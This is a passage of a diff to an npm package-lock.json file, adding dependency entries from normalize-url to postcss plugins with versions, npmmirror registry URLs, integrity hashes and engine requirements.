"sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/normalize-url": { + "version": "6.1.0", + "resolved": "https://registry.npmmirror.com/normalize-url/-/normalize-url-6.1.0.tgz", + "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/normalize-wheel-es": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/normalize-wheel-es/-/normalize-wheel-es-1.2.0.tgz", + "integrity": "sha512-Wj7+EJQ8mSuXr2iWfnujrimU35R2W4FAErEyTmJoJ7ucwTn2hOUSsRehMb5RSYkxXGTM7Y9QpvPmp++w5ftoJw==" + }, + "node_modules/npm-run-path": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/npm-run-path/-/npm-run-path-2.0.2.tgz", + "integrity": "sha512-lJxZYlT4DW/bRUtFh1MQIWqmLwQfAxnqWG4HhEdjMlkrJYnJn0Jrr2u3mgxqaWsdiBc76TYkTG/mhrnYTuzfHw==", + "dev": true, + "dependencies": { + "path-key": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm-run-path/node_modules/path-key": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/path-key/-/path-key-2.0.1.tgz", + "integrity": "sha512-fEHGKCSmUSDPv4uoj8AlD+joPlq3peND+HRYyxFz4KPw4z926S/b8rIuFs2FYJg3BwsxJf6A9/3eIdLaYC+9Dw==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/nth-check": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/nth-check/-/nth-check-2.1.1.tgz", + "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==", + "dev": true, + "dependencies": { + "boolbase": "^1.0.0" + }, + "funding": { + "url": "https://github.com/fb55/nth-check?sponsor=1" + } + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmmirror.com/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-inspect": { + "version": "1.13.3", + "resolved": "https://registry.npmmirror.com/object-inspect/-/object-inspect-1.13.3.tgz", + "integrity": "sha512-kDCGIbxkDSXE3euJZZXzc6to7fCrKHNI/hSRQnRuQ+BWjFNzZwiFF8fj/6o2t2G9/jTj8PSIYTfCLelLZEeRpA==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object-keys": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/object-keys/-/object-keys-1.1.1.tgz", + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "dev": true, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.assign": { + "version": "4.1.5", + "resolved": "https://registry.npmmirror.com/object.assign/-/object.assign-4.1.5.tgz", + "integrity": "sha512-byy+U7gp+FVwmyzKPYhW2h5l3crpmGsxl7X2s8y43IgxvG4g3QZ6CffDtsNQy1WsmZpQbO+ybo0AlW7TY6DcBQ==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.5", + "define-properties": "^1.2.1", + "has-symbols": "^1.0.3", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/obuf": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/obuf/-/obuf-1.1.2.tgz", + "integrity": "sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg==", + "dev": true + }, + "node_modules/on-finished": { + "version": "2.4.1", + "resolved": "https://registry.npmmirror.com/on-finished/-/on-finished-2.4.1.tgz", + "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", + "dev": true, + "dependencies": { + "ee-first": "1.1.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/on-headers": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/on-headers/-/on-headers-1.0.2.tgz", + "integrity": "sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "dev": true, + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/onetime": { + "version": "5.1.2", + "resolved": "https://registry.npmmirror.com/onetime/-/onetime-5.1.2.tgz", + "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", + "dev": true, + "dependencies": { + "mimic-fn": "^2.1.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/open": { + "version": "8.4.2", + "resolved": "https://registry.npmmirror.com/open/-/open-8.4.2.tgz", + "integrity": "sha512-7x81NCL719oNbsq/3mh+hVrAWmFuEYUqrq/Iw3kUzH8ReypT9QQ0BLoJS7/G9k6N81XjW4qHWtjWwe/9eLy1EQ==", + "dev": true, + "dependencies": { + "define-lazy-prop": "^2.0.0", + "is-docker": "^2.1.1", + "is-wsl": "^2.2.0" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/opener": { + "version": "1.5.2", + "resolved": "https://registry.npmmirror.com/opener/-/opener-1.5.2.tgz", + "integrity": "sha512-ur5UIdyw5Y7yEj9wLzhqXiy6GZ3Mwx0yGI+5sMn2r0N0v3cKJvUmFH5yPP+WXh9e0xfyzyJX95D8l088DNFj7A==", + "dev": true, + "bin": { + "opener": "bin/opener-bin.js" + } + }, + "node_modules/optionator": { + "version": "0.9.4", + "resolved": "https://registry.npmmirror.com/optionator/-/optionator-0.9.4.tgz", + "integrity": "sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==", + "dev": true, + "dependencies": { + "deep-is": "^0.1.3", + "fast-levenshtein": "^2.0.6", + "levn": "^0.4.1", + "prelude-ls": "^1.2.1", + "type-check": "^0.4.0", + "word-wrap": "^1.2.5" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/ora": { + "version": "5.4.1", + "resolved": "https://registry.npmmirror.com/ora/-/ora-5.4.1.tgz", + "integrity": "sha512-5b6Y85tPxZZ7QytO+BQzysW31HJku27cRIlkbAXaNx+BdcVi+LlRFmVXzeF6a7JCwJpyw5c4b+YSVImQIrBpuQ==", + "dev": true, + "dependencies": { + "bl": "^4.1.0", + "chalk": "^4.1.0", + "cli-cursor": "^3.1.0", + "cli-spinners": "^2.5.0", + "is-interactive": "^1.0.0", + "is-unicode-supported": "^0.1.0", + "log-symbols": "^4.1.0", + "strip-ansi": "^6.0.0", + "wcwidth": "^1.0.1" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ora/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmmirror.com/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/p-finally": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/p-finally/-/p-finally-1.0.0.tgz", + "integrity": "sha512-LICb2p9CB7FS+0eR1oqWnHhp0FljGLZCWBE9aix0Uye9W8LTQPwMTYVGWQWIw9RdQiDg4+epXQODwIYJtSJaow==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmmirror.com/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "dev": true, + "dependencies": { + "p-limit": "^2.2.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/p-retry": { + "version": "4.6.2", + "resolved": "https://registry.npmmirror.com/p-retry/-/p-retry-4.6.2.tgz", + "integrity": "sha512-312Id396EbJdvRONlngUx0NydfrIQ5lsYu0znKVUzVvArzEIt08V1qhtyESbGVd1FGX7UKtiFp5uwKZdM8wIuQ==", + "dev": true, + "dependencies": { + "@types/retry": "0.12.0", + "retry": "^0.13.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/pako": { + "version": "1.0.11", + "resolved": "https://registry.npmmirror.com/pako/-/pako-1.0.11.tgz", + "integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==" + }, + "node_modules/param-case": { + "version": "3.0.4", + "resolved": "https://registry.npmmirror.com/param-case/-/param-case-3.0.4.tgz", + "integrity": "sha512-RXlj7zCYokReqWpOPH9oYivUzLYZ5vAPIfEmCTNViosC78F8F0H9y7T7gG2M39ymgutxF5gcFEsyZQSph9Bp3A==", + "dev": true, + "dependencies": { + "dot-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/param-case/node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmmirror.com/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "dev": true + }, + "node_modules/parent-module": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/parent-module/-/parent-module-1.0.1.tgz", + "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "dev": true, + "dependencies": { + "callsites": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/parse-json": { + "version": "5.2.0", + "resolved": "https://registry.npmmirror.com/parse-json/-/parse-json-5.2.0.tgz", + "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.0.0", + "error-ex": "^1.3.1", + "json-parse-even-better-errors": "^2.3.0", + "lines-and-columns": "^1.1.6" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parse5": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/parse5/-/parse5-5.1.1.tgz", + "integrity": "sha512-ugq4DFI0Ptb+WWjAdOK16+u/nHfiIrcE+sh8kZMaM0WllQKLI9rOUq6c2b7cwPkXdzfQESqvoqK6ug7U/Yyzug==", + "dev": true + }, + "node_modules/parse5-htmlparser2-tree-adapter": { + "version": "6.0.1", + "resolved": "https://registry.npmmirror.com/parse5-htmlparser2-tree-adapter/-/parse5-htmlparser2-tree-adapter-6.0.1.tgz", + "integrity": "sha512-qPuWvbLgvDGilKc5BoicRovlT4MtYT6JfJyBOMDsKoiT+GiuP5qyrPCnR9HcPECIJJmZh5jRndyNThnhhb/vlA==", + "dev": true, + "dependencies": { + "parse5": "^6.0.1" + } + }, + "node_modules/parse5-htmlparser2-tree-adapter/node_modules/parse5": { + "version": "6.0.1", + "resolved": "https://registry.npmmirror.com/parse5/-/parse5-6.0.1.tgz", + "integrity": "sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw==", + "dev": true + }, + "node_modules/parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmmirror.com/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/pascal-case": { + "version": "3.1.2", + "resolved": "https://registry.npmmirror.com/pascal-case/-/pascal-case-3.1.2.tgz", + "integrity": "sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==", + "dev": true, + "dependencies": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/pascal-case/node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmmirror.com/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "dev": true + }, + "node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmmirror.com/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmmirror.com/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", + "dev": true + }, + "node_modules/path-to-regexp": { + "version": "0.1.10", + "resolved": "https://registry.npmmirror.com/path-to-regexp/-/path-to-regexp-0.1.10.tgz", + "integrity": "sha512-7lf7qcQidTku0Gu3YDPc8DJ1q7OOucfa/BSsIwjuh56VU7katFvuM8hULfkwB3Fns/rsVF7PwPKVw1sl5KQS9w==", + "dev": true + }, + "node_modules/path-type": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/path-type/-/path-type-4.0.0.tgz", + "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/pathe": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/pathe/-/pathe-1.1.2.tgz", + "integrity": "sha512-whLdWMYL2TwI08hn8/ZqAbrVemu0LNaNNJZX73O6qaIdCTfXutsLhMkjdENX0qhsQ9uIimo4/aQOmXkoon2nDQ==", + "dev": true + }, + "node_modules/picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==" + }, + "node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmmirror.com/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "dev": true, + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pkg-dir": { + "version": "4.2.0", + "resolved": "https://registry.npmmirror.com/pkg-dir/-/pkg-dir-4.2.0.tgz", + "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", + "dev": true, + "dependencies": { + "find-up": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/pkg-types": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/pkg-types/-/pkg-types-1.2.1.tgz", + "integrity": "sha512-sQoqa8alT3nHjGuTjuKgOnvjo4cljkufdtLMnO2LBP/wRwuDlo1tkaEdMxCRhyGRPacv/ztlZgDPm2b7FAmEvw==", + "dev": true, + "dependencies": { + "confbox": "^0.1.8", + "mlly": "^1.7.2", + "pathe": "^1.1.2" + } + }, + "node_modules/portfinder": { + "version": "1.0.32", + "resolved": "https://registry.npmmirror.com/portfinder/-/portfinder-1.0.32.tgz", + "integrity": "sha512-on2ZJVVDXRADWE6jnQaX0ioEylzgBpQk8r55NE4wjXW1ZxO+BgDlY6DXwj20i0V8eB4SenDQ00WEaxfiIQPcxg==", + "dev": true, + "dependencies": { + "async": "^2.6.4", + "debug": "^3.2.7", + "mkdirp": "^0.5.6" + }, + "engines": { + "node": ">= 0.12.0" + } + }, + "node_modules/portfinder/node_modules/debug": { + "version": "3.2.7", + "resolved": "https://registry.npmmirror.com/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "dev": true, + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/postcss": { + "version": "8.4.49", + "resolved": "https://registry.npmmirror.com/postcss/-/postcss-8.4.49.tgz", + "integrity": "sha512-OCVPnIObs4N29kxTjzLfUryOkvZEq+pf8jTF0lg8E7uETuWHA+v7j3c/xJmiqpX450191LlmZfUKkXxkTry7nA==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "nanoid": "^3.3.7", + "picocolors": "^1.1.1", + "source-map-js": "^1.2.1" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/postcss-calc": { + "version": "8.2.4", + "resolved": "https://registry.npmmirror.com/postcss-calc/-/postcss-calc-8.2.4.tgz", + "integrity": "sha512-SmWMSJmB8MRnnULldx0lQIyhSNvuDl9HfrZkaqqE/WHAhToYsAvDq+yAsA/kIyINDszOp3Rh0GFoNuH5Ypsm3Q==", + "dev": true, + "dependencies": { + "postcss-selector-parser": "^6.0.9", + "postcss-value-parser": "^4.2.0" + }, + "peerDependencies": { + "postcss": "^8.2.2" + } + }, + "node_modules/postcss-colormin": { + "version": "5.3.1", + "resolved": "https://registry.npmmirror.com/postcss-colormin/-/postcss-colormin-5.3.1.tgz", + "integrity": "sha512-UsWQG0AqTFQmpBegeLLc1+c3jIqBNB0zlDGRWR+dQ3pRKJL1oeMzyqmH3o2PIfn9MBdNrVPWhDbT769LxCTLJQ==", + "dev": true, + "dependencies": { + "browserslist": "^4.21.4", + "caniuse-api": "^3.0.0", + "colord": "^2.9.1", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-convert-values": { + "version": "5.1.3", + "resolved": "https://registry.npmmirror.com/postcss-convert-values/-/postcss-convert-values-5.1.3.tgz", + "integrity": "sha512-82pC1xkJZtcJEfiLw6UXnXVXScgtBrjlO5CBmuDQc+dlb88ZYheFsjTn40+zBVi3DkfF7iezO0nJUPLcJK3pvA==", + "dev": true, + "dependencies": { + "browserslist": "^4.21.4", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-discard-comments": { + "version": "5.1.2", + "resolved": "https://registry.npmmirror.com/postcss-discard-comments/-/postcss-discard-comments-5.1.2.tgz", + "integrity": "sha512-+L8208OVbHVF2UQf1iDmRcbdjJkuBF6IS29yBDSiWUIzpYaAhtNl6JYnYm12FnkeCwQqF5LeklOu6rAqgfBZqQ==", + "dev": true, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-discard-duplicates": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/postcss-discard-duplicates/-/postcss-discard-duplicates-5.1.0.tgz", + "integrity": "sha512-zmX3IoSI2aoenxHV6C7plngHWWhUOV3sP1T8y2ifzxzbtnuhk1EdPwm0S1bIUNaJ2eNbWeGLEwzw8huPD67aQw==", + "dev": true, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-discard-empty": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/postcss-discard-empty/-/postcss-discard-empty-5.1.1.tgz", + "integrity": "sha512-zPz4WljiSuLWsI0ir4Mcnr4qQQ5e1Ukc3i7UfE2XcrwKK2LIPIqE5jxMRxO6GbI3cv//ztXDsXwEWT3BHOGh3A==", + "dev": true, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-discard-overridden": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/postcss-discard-overridden/-/postcss-discard-overridden-5.1.0.tgz", + "integrity": "sha512-21nOL7RqWR1kasIVdKs8HNqQJhFxLsyRfAnUDm4Fe4t4mCWL9OJiHvlHPjcd8zc5Myu89b/7wZDnOSjFgeWRtw==", + "dev": true, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-loader": { + "version": "6.2.1", + "resolved": "https://registry.npmmirror.com/postcss-loader/-/postcss-loader-6.2.1.tgz", + "integrity": "sha512-WbbYpmAaKcux/P66bZ40bpWsBucjx/TTgVVzRZ9yUO8yQfVBlameJ0ZGVaPfH64hNSBh63a+ICP5nqOpBA0w+Q==", + "dev": true, + "dependencies": { + "cosmiconfig": "^7.0.0", + "klona": "^2.0.5", + "semver": "^7.3.5" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "postcss": "^7.0.0 || ^8.0.1", + "webpack": "^5.0.0" + } + }, + "node_modules/postcss-loader/node_modules/semver": { + "version": "7.6.3", + "resolved": "https://registry.npmmirror.com/semver/-/semver-7.6.3.tgz", + "integrity": "sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/postcss-merge-longhand": { + "version": "5.1.7", + "resolved": "https://registry.npmmirror.com/postcss-merge-longhand/-/postcss-merge-longhand-5.1.7.tgz", + "integrity": "sha512-YCI9gZB+PLNskrK0BB3/2OzPnGhPkBEwmwhfYk1ilBHYVAZB7/tkTHFBAnCrvBBOmeYyMYw3DMjT55SyxMBzjQ==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.2.0", + "stylehacks": "^5.1.1" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-merge-rules": { + "version": "5.1.4", + "resolved": "https://registry.npmmirror.com/postcss-merge-rules/-/postcss-merge-rules-5.1.4.tgz", + "integrity": "sha512-0R2IuYpgU93y9lhVbO/OylTtKMVcHb67zjWIfCiKR9rWL3GUk1677LAqD/BcHizukdZEjT8Ru3oHRoAYoJy44g==", + "dev": true, + "dependencies": { + "browserslist": "^4.21.4", + "caniuse-api": "^3.0.0", + "cssnano-utils": "^3.1.0", + "postcss-selector-parser": "^6.0.5" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-minify-font-values": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/postcss-minify-font-values/-/postcss-minify-font-values-5.1.0.tgz", + "integrity": "sha512-el3mYTgx13ZAPPirSVsHqFzl+BBBDrXvbySvPGFnQcTI4iNslrPaFq4muTkLZmKlGk4gyFAYUBMH30+HurREyA==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-minify-gradients": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/postcss-minify-gradients/-/postcss-minify-gradients-5.1.1.tgz", + "integrity": "sha512-VGvXMTpCEo4qHTNSa9A0a3D+dxGFZCYwR6Jokk+/3oB6flu2/PnPXAh2x7x52EkY5xlIHLm+Le8tJxe/7TNhzw==", + "dev": true, + "dependencies": { + "colord": "^2.9.1", + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-minify-params": { + "version": "5.1.4", + "resolved": "https://registry.npmmirror.com/postcss-minify-params/-/postcss-minify-params-5.1.4.tgz", + "integrity": "sha512-+mePA3MgdmVmv6g+30rn57USjOGSAyuxUmkfiWpzalZ8aiBkdPYjXWtHuwJGm1v5Ojy0Z0LaSYhHaLJQB0P8Jw==", + "dev": true, + "dependencies": { + "browserslist": "^4.21.4", + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-minify-selectors": { + "version": "5.2.1", + "resolved": "https://registry.npmmirror.com/postcss-minify-selectors/-/postcss-minify-selectors-5.2.1.tgz", + "integrity": "sha512-nPJu7OjZJTsVUmPdm2TcaiohIwxP+v8ha9NehQ2ye9szv4orirRU3SDdtUmKH+10nzn0bAyOXZ0UEr7OpvLehg==", + "dev": true, + "dependencies": { + "postcss-selector-parser": "^6.0.5" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-modules-extract-imports": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/postcss-modules-extract-imports/-/postcss-modules-extract-imports-3.1.0.tgz", + "integrity": 